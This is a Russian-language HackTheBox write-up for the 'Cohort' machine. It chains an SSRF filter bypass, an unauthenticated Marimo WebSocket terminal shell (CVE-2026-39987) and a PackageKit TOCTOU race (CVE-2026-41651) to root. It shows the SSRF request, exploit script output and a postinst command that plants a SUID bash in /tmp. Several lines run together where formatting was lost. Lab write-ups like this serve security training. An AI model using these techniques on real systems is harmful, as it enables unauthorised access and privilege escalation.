
HTB Cohort — SSRF, pre-auth RCE в Marimo (CVE-2026-39987) и повышение привилегий через PackageKit (CVE-2026-41651)
Машина Cohort (HackTheBox). Полная цепочка атаки:
/api/validate) → обнаружение внутреннего vhostmarimoФлаги намеренно не включены (правила HTB).
10.129.93.8 cohort.htb
/api/...)nb-1be3782a8afd3ad5.cohort.htb), не доступен извнеПриложение предоставляло эндпоинт валидации URL, который загружал удалённый контент и возвращал его. Фильтр URL можно было обойти, закодировав адрес loopback:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
Это обращалось к внутреннему nginx и раскрывало настроенные upstreams, включая
внутренний vhost Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
Обработчик WebSocket-терминала блокнота Marimo не проверял аутентификацию.
Подключение к /terminal/ws порождает шелл bash через pty.fork().
Внутренний vhost был доступен через внешний nginx путём отправки внутреннего
заголовка Host:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
Результат: шелл от имени marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit соответствуют уязвимому паттерну TOCTOUuser.txt в /home/marimo/user.txtPackageKit 1.2.8 имеет недостаток time-of-check / time-of-use: роль транзакции и
флаги, считываемые idle-колбэком GLib, можно обогнать (race), отправив два асинхронных D-Bus-вызова
в одной транзакции, так что привилегированный бэкенд выполняет второй вызов (роль NONE,
без проверки аутентификации), хотя первый (SIMULATE) уже прошёл проверку авторизации.
Два вызова отправляются подряд в одной транзакции:
InstallFiles(SIMULATE=4) — проходит проверку авторизации polkitInstallFiles(NONE=0) — несёт вредоносный .deb, считываемый как часть того же
пакета сообщенийВредоносный .deb запускает скрипт postinst от имени root, который создаёт SUID bash:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
Ключевая деталь: два вызова должны быть отправлены вместе, чтобы бэкенд прочитал оба
сообщения в одном пакете. Используйте GIO async call() + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
Изначальный эксплойт использовал python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus сериализует два вызова InstallFiles в отдельные записи, поэтому
idle-колбэк бэкенда обрабатывал их как отдельные события, и гонка так и не сработала.
GIO flush_sync отправляет оба D-Bus-сообщения в одном пакете записи → гонка выиграна.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt доступен для чтения.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)